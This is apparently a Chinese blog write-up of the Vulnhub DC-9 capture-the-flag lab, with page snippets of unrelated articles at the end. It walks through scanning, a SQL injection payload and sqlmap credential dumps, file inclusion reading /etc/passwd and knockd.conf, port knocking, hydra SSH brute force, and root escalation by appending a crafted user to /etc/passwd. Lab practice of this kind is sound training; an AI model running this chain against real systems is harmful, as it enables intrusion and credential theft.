Vulnhub靶场 DC-9
目录
一、环境搭建
二、信息收集
1、主机发现
2、指纹识别
三、漏洞复现
1、dirsearch目录探测
2、sqlmap注入测试
3、文件包含漏洞
4、Knockd敲门服务
5、ssh爆破
6、提权
四、提取flag
一、环境搭建
Vulnhub靶机下载:
官网地址:https://download.vulnhub.com/dc/DC-9.zip
虚拟机:VM虚拟机 或者VBOX 导入即可
网络环境:NAT
介绍:vulnhub是个提供各种漏洞平台的综合靶场,拿到root权限才可以发现最终的flag。
二、信息收集
1、主机发现
nmap -sP 192.168.176.0/24
查看服务
nmap -A -p- -v 192.168.176.145
进入网站192.168.176.145
2、指纹识别
whatweb http://192.168.176.145/
没有发现有用信息
三、漏洞复现
1、dirsearch目录探测
dirsearch -u http://192.168.176.145/ -e php -x 400,404,503,403
http://192.168.176.145/manage.php 后台地址
2、sqlmap注入测试
发现搜索页面存在SQL注入,
payload:1' or 1=1 #
现在直接使用sqlmap工具来进行SQL注入攻击
sqlmap -u "http://192.168.176.145/results.php" -data "search=1" -dbs
sqlmap -u "http://192.168.176.145/results.php" -data "search=1" -D users -T UserDetails -C username,password -dump
跑出一些账号密码信息 保存一下 密码如下:
| username | password |
+-----------+---------------+
| marym | 3kfs86sfd |
| julied | 468sfdfsd2 |
| fredf | 4sfd87sfd1 |
| barneyr | RocksOff |
| tomc | TC&TheBoyz |
| jerrym | B8m#48sd |
| wilmaf | Pebbles |
| bettyr | BamBam01 |
| chandlerb | UrAG0D! |
| joeyt | Passw0rd |
| rachelg | yN72#dsd |
| rossg | ILoveRachel |
| monicag | 3248dsds7s |
| phoebeb | smellycats |
| scoots | YR3BVxxxw87 |
| janitor | Ilovepeepee |
| janitor2 | Hawaii-Five-0 |
再跑另外一个看一下
sqlmap -u "http://192.168.176.145/results.php" -data "search=1" -D Staff -T StaffDetails -dump
sqlmap -u "http://192.168.176.145/results.php" -data "search=1" -D Staff -T Users -C Password,Username -dump
856f5de590ef37314e7c3bdf6f8a66dc | admin
这里跑出一个admin账号,密码是md5加密
也可以输入yes sqlmap自带的库碰撞
MD5免费在线解密破解_MD5在线加密-SOMD5 在线解密网站,成功拿下
密码:transorbital1
3、文件包含漏洞
看了半天,只看到这个关键词 ,存在文件包含漏洞
http://192.168.176.145/manage.php/?file=//../../../../etc/passwd
到这里 没思路了 上网看了一下思路
回头看 上面nmap扫描的这个22/tcp filtered ssh # 系统默认开放的,但是通过策略关掉了,因为被策略保护 处于关闭状态,Knockd隐藏SSH
但是这里给出的用户,密码信息 应该是可以 爆破一下ssh
4、Knockd敲门服务
4.1.利用LFI看看konckd的配置文件,可以fuzz一下/etc 目录,一般的配置文件都这个目录里。
payload:file=../../../../../etc/knockd.conf
[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn
找到了 特定的端口信息,7469,8475,9842,按顺序敲敲门
4.2.nmap开启敲门
第一种方法:
nmap -p 7469 192.168.176.145
nmap -p 8475 192.168.176.145
nmap -p 9842 192.168.176.145
第二种方法:
for x in 7469 8475 9842; do nc 192.168.176.145 $x;done
4.3.现在重新nmap扫描服务看看 直接打开了
nmap -A -p- -v 192.168.176.145
5、ssh爆破
5.1.前面sqlmap跑的一个表 整理成字典
5.2.hy爆破
hydra -L username.txt mark -P pass.txt ssh://192.168.176.145
跑出了两个账户
login: joeyt password: Passw0rd login: janitor password: Ilovepeepee
ssh joeyt@192.168.176.145 -p 22 ssh连接
在janitor用户发现了一个隐藏的文件夹
cd .secrets-for-putin
ls -a
存在一些密码,写入密码字典,继续爆破 之前没有出来的那些账号
5.3.ssh连接fredf
login: fredf password: B4-Tru3-001
6、提权
接下来提权 查看有无sudo -l权限
sudo -l
发现fredf可以以root的身份执行
(root) NOPASSWD: /opt/devstuff/dist/test/test
是一个python文件 ,文件的意思是,读取第一个文件追加到第二个文件上
利用find指令找到这个python文件
命令:
find / -name "test.py" 2>/dev/null 寻找叫做test.py的文件
接着在/opt/devstuff/发现python源文件:test.py
代码如下:
import sys
if len (sys.argv) != 3 :print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r")
output = (f.read())
f = open(sys.argv[2], "a")
f.write(output)
f.close()
这是一个可以写入文件的一个python程序,我们可以以root权限写入任意一个文件
所以我们接下来要以root权限在/etc/passwd中写入一个具有root权限的用户
因为在/etc/passwd中的密码都是加密过的,我们也要设计一个加密的密码
设置密码命令:
openssl passwd -1(md5加密算法) -salt(用一个随机数去加盐) admin 123456
openssl passwd -1 -salt admin 123456
生成密码:$1$admin$LClYcRe.ee8dQwgrFc5nz.
先把这些写入临时文件,再用test.py读取文件,追加到passwd里面
1、写入临时文件
echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0:/root:/bin/bash' >>/tmp/mm
2、python程序追加到etc/passwd
sudo ./test /tmp/mm.txt /etc/passwd
3、切换用户看看
su admin
4、交互式shell
python -c "import pty;pty.spawn('/bin/bash')"
四、提取flag
相关文章:

Vulnhub靶场 DC-9
目录 一、环境搭建 二、信息收集 1、主机发现 2、指纹识别 三、漏洞复现 1、dirsearch目录探测 2、sqlmap注入测试 3、文件包含漏洞 4、Knockd敲门服务 5、ssh爆破 6、提权 四、提取flag 一、环境搭建 Vulnhub靶机下载: 官网地址:https://…...
day2-理解 linux 云计算
1.解释服务器是什么; 服务器是一种高性能计算机,它的主要功能是提供计算服务和资源给其他计算机使用。在网络环境中,服务器扮演着重要的角色,它们可以存储和管理大量的数据,处理网络请求,提供应用程序运行…...
Android 13.0 开启禁用系统接收短信功能
1.概述 在13.0的系统rom定制化中,在一些wifi产品的机器中,对于系统4g部分的功能需要裁剪 比如拨打电话 接听电话 短信功能等这部分 需要禁用系统对应的功能,接下来就来初步分析下系统中接收短信部分功能,然后实现禁用接收短信功能 2.禁用和启用系统短信功能实现的核心类 …...

compile error ESP32cam.h no such file or directory
解决方法 可以参考这篇文章: But first, you will need to download the esp32cam.h library. For this go to Github and download the esp32cam Zip. GitHub - yoursunny/esp32cam: OV2640 camera on ESP32-CAM, Arduino library 具体就是下面的这篇重要的文章 …...

使用 Chainlit, Langchain 及 Elasticsearch 轻松实现对 PDF 文件的查询
在我之前的文章 “Elasticsearch:与多个 PDF 聊天 | LangChain Python 应用教程(免费 LLMs 和嵌入)” 里,我详述如何使用 Streamlit,Langchain, Elasticsearch 及 OpenAI 来针对 PDF 进行聊天。在今天的文章中…...

Gitee的使用教程(简单详细)
1.安装git(我的电脑自带git,我没弄这步QAQ) Git (git-scm.com)https://git-scm.com/ 安装好后在桌面点击鼠标右键会出现git GUI 和 git Bash(没有的话点击显示更多选项) 2.去gitee上注册一个账号 工作台 - Gitee.co…...

生成树(习题)
模板】最小生成树 生成树有两种方法,但是我只会克鲁斯卡尔算法,所以接下来下面的的题目都是按照这个算法来实现的,首先来见一下生么是这个算法,在之前的我写的一篇博客中有题使叫修复公路,其实这一题就是使用了这个算…...

ARMv8-AArch64 的异常处理模型详解之异常处理概述Handling exceptions
异常处理模型详解之异常处理概述 一,异常处理相关概念二,异常处理概述 一,异常处理相关概念 在介绍异常处理之前,有必要了解一些关于异常处理状态的术语: 当处理器响应一个异常时,我们称该异常被获取了&a…...
Ubuntu 18.04上安装cuDNN 8.9.6.50:一站式指南
Content 一、前言二、准备工作三、安装步骤1. 启用本地仓库2. 导入CUDA GPG密钥3. 更新仓库元数据4. 安装运行时库5. 安装开发者库6. 安装代码示例7. 另外一种安装办法 四、验证安装1. 验证cuDNN版本2. 测试示例代码 五、总结 一、前言 在深度学习领域,高效的计算资…...

Microsoft Word 超链接
Microsoft Word 超链接 1. 取消超链接2. 自动超链接2.1. 选项2.2. 校对 -> 自动更正选项2.3. Internet 及网络路径替换为超链接 References 1. 取消超链接 Ctrl A -> Ctrl Shift F9 2. 自动超链接 2.1. 选项 2.2. 校对 -> 自动更正选项 2.3. Internet…...

SparkJDBC读写数据库实战
默认的操作 代码val df = spark.read.format("jdbc").option("url", "jdbc:postgresql://localhost:5432/testdb").option("user", "username").option("password", "password").option("driver&q…...
代码随想录 -- 数组
文章目录 二分查找题目描述题解 移除元素题目描述题解:暴力解法题解:双指针法 有序数组的平方题目描述题解:暴力解法题解:双指针法 长度最小的子数组题目描述题解:暴力解法题解:滑动窗口(双指针…...

【国产MCU】-CH32V307-基本定时器(BCTM)
基本定时器(BCTM) 文章目录 基本定时器(BCTM)1、基本定时器(BCTM)介绍2、基本定时器驱动API介绍3、基本定时器使用实例CH32V307的基本定时器模块包含一个16 位可自动重装的定时器(TIM6和TIM7),用于计数和在更新新事件产生中断或DMA 请求。 本文将详细介绍如何使用CH32…...
Node.js开发-fs模块
这里写目录标题 fs模块1) 文件写入2) 文件写入3) 文件移动与重命名4) 文件删除5) 文件夹操作6) 查看资源状态7) 相对路径问题8) __dirname fs模块 fs模块可以实现与硬盘的交互,例如文件的创建、删除、重命名、移动等,还有文件内容的写入、读取ÿ…...

探索Nginx:强大的开源Web服务器与反向代理
一、引言 随着互联网的飞速发展,Web服务器在现代技术架构中扮演着至关重要的角色。Nginx(发音为“engine x”)是一个高性能的HTTP和反向代理服务器,也是一个IMAP/POP3/SMTP代理服务器。Nginx因其卓越的性能、稳定性和灵活性&…...

相机图像质量研究(4)常见问题总结:光学结构对成像的影响--焦距
系列文章目录 相机图像质量研究(1)Camera成像流程介绍 相机图像质量研究(2)ISP专用平台调优介绍 相机图像质量研究(3)图像质量测试介绍 相机图像质量研究(4)常见问题总结:光学结构对成像的影响--焦距 相机图像质量研究(5)常见问题总结:光学结构对成…...

【从Python基础到深度学习】1. Python PyCharm安装及激活
前言: 为了帮助大家快速入门机器学习-深度学习,从今天起我将用100天的时间将大学本科期间的所学所想分享给大家,和大家共同进步。【从Python基础到深度学习】系列博客中我将从python基础开始通过知识和代码实践结合的方式进行知识的分享和记…...

片上网络NoC(3)——拓扑指标
目录 一、概述 二、指标 2.1 与网络流量无关的指标 2.1.1 度(degree) 2.1.2 对分带宽(bisection bandwidth) 2.1.3 网络直径(diameter) 2.2 与网络流量相关的指标 2.2.1 跳数(hop coun…...
二叉树 ---- 所有结点数
普通二叉树的结点数: 递归法: 对二叉树进行前序or后序遍历: typedef struct Tree {int data;Tree* leftChild;Tree* rightChild; }tree,*linklist; //计算普通二叉树的结点数 int nodenums(linklist node) {if(node nullptr) return 0; …...

步步深入 k8s 使用 pv pvc sc 在 nfs 基础上共享存储
博客原文 文章目录 前言集群环境nfs 环境搭建pod 挂载 nfs架构图 pvc 方式挂载 nfs架构图 storageclass 方式动态申请 pv架构图 参考 前言 持久化卷(Persistent Volume, PV)允许用户将外部存储映射到集群,而持久化卷申请(Persist…...
ubuntu搭建nfs服务centos挂载访问
在Ubuntu上设置NFS服务器 在Ubuntu上,你可以使用apt包管理器来安装NFS服务器。打开终端并运行: sudo apt update sudo apt install nfs-kernel-server创建共享目录 创建一个目录用于共享,例如/shared: sudo mkdir /shared sud…...
Oracle查询表空间大小
1 查询数据库中所有的表空间以及表空间所占空间的大小 SELECTtablespace_name,sum( bytes ) / 1024 / 1024 FROMdba_data_files GROUP BYtablespace_name; 2 Oracle查询表空间大小及每个表所占空间的大小 SELECTtablespace_name,file_id,file_name,round( bytes / ( 1024 …...

【Redis技术进阶之路】「原理分析系列开篇」分析客户端和服务端网络诵信交互实现(服务端执行命令请求的过程 - 初始化服务器)
服务端执行命令请求的过程 【专栏简介】【技术大纲】【专栏目标】【目标人群】1. Redis爱好者与社区成员2. 后端开发和系统架构师3. 计算机专业的本科生及研究生 初始化服务器1. 初始化服务器状态结构初始化RedisServer变量 2. 加载相关系统配置和用户配置参数定制化配置参数案…...
Auto-Coder使用GPT-4o完成:在用TabPFN这个模型构建一个预测未来3天涨跌的分类任务
通过akshare库,获取股票数据,并生成TabPFN这个模型 可以识别、处理的格式,写一个完整的预处理示例,并构建一个预测未来 3 天股价涨跌的分类任务 用TabPFN这个模型构建一个预测未来 3 天股价涨跌的分类任务,进行预测并输…...
在 Nginx Stream 层“改写”MQTT ngx_stream_mqtt_filter_module
1、为什么要修改 CONNECT 报文? 多租户隔离:自动为接入设备追加租户前缀,后端按 ClientID 拆分队列。零代码鉴权:将入站用户名替换为 OAuth Access-Token,后端 Broker 统一校验。灰度发布:根据 IP/地理位写…...

家政维修平台实战20:权限设计
目录 1 获取工人信息2 搭建工人入口3 权限判断总结 目前我们已经搭建好了基础的用户体系,主要是分成几个表,用户表我们是记录用户的基础信息,包括手机、昵称、头像。而工人和员工各有各的表。那么就有一个问题,不同的角色…...

MMaDA: Multimodal Large Diffusion Language Models
CODE : https://github.com/Gen-Verse/MMaDA Abstract 我们介绍了一种新型的多模态扩散基础模型MMaDA,它被设计用于在文本推理、多模态理解和文本到图像生成等不同领域实现卓越的性能。该方法的特点是三个关键创新:(i) MMaDA采用统一的扩散架构…...

Python实现prophet 理论及参数优化
文章目录 Prophet理论及模型参数介绍Python代码完整实现prophet 添加外部数据进行模型优化 之前初步学习prophet的时候,写过一篇简单实现,后期随着对该模型的深入研究,本次记录涉及到prophet 的公式以及参数调优,从公式可以更直观…...

基于Docker Compose部署Java微服务项目
一. 创建根项目 根项目(父项目)主要用于依赖管理 一些需要注意的点: 打包方式需要为 pom<modules>里需要注册子模块不要引入maven的打包插件,否则打包时会出问题 <?xml version"1.0" encoding"UTF-8…...

C# 求圆面积的程序(Program to find area of a circle)
给定半径r,求圆的面积。圆的面积应精确到小数点后5位。 例子: 输入:r 5 输出:78.53982 解释:由于面积 PI * r * r 3.14159265358979323846 * 5 * 5 78.53982,因为我们只保留小数点后 5 位数字。 输…...